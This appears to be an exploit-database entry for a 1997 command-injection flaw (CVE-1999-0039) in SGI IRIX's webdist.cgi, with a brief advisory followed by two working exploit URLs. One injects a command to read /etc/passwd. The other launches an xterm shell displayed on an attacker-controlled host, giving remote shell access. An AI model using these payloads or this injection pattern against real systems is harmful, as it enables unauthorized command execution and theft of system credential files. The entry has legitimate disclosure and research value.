SGI IRIX 6.3 - cgi-bin 'webdist.cgi' Command Execution

Related Vulnerabilities: CVE-1999-0039  
Publish Date: 06 May 1997
Author: anonymous
                							

                source: http://www.securityfocus.com/bid/374/info


A vulnerability exists in the webdist.cgi program, as shipped by Silicon Grpahics Inc with the Irix operating system. This vulnerability will allow any remote user to execute arbitrary commands on an affected machine. Commands will be executed with the privileges of the httpd daemon.

/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd

or

http://host/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh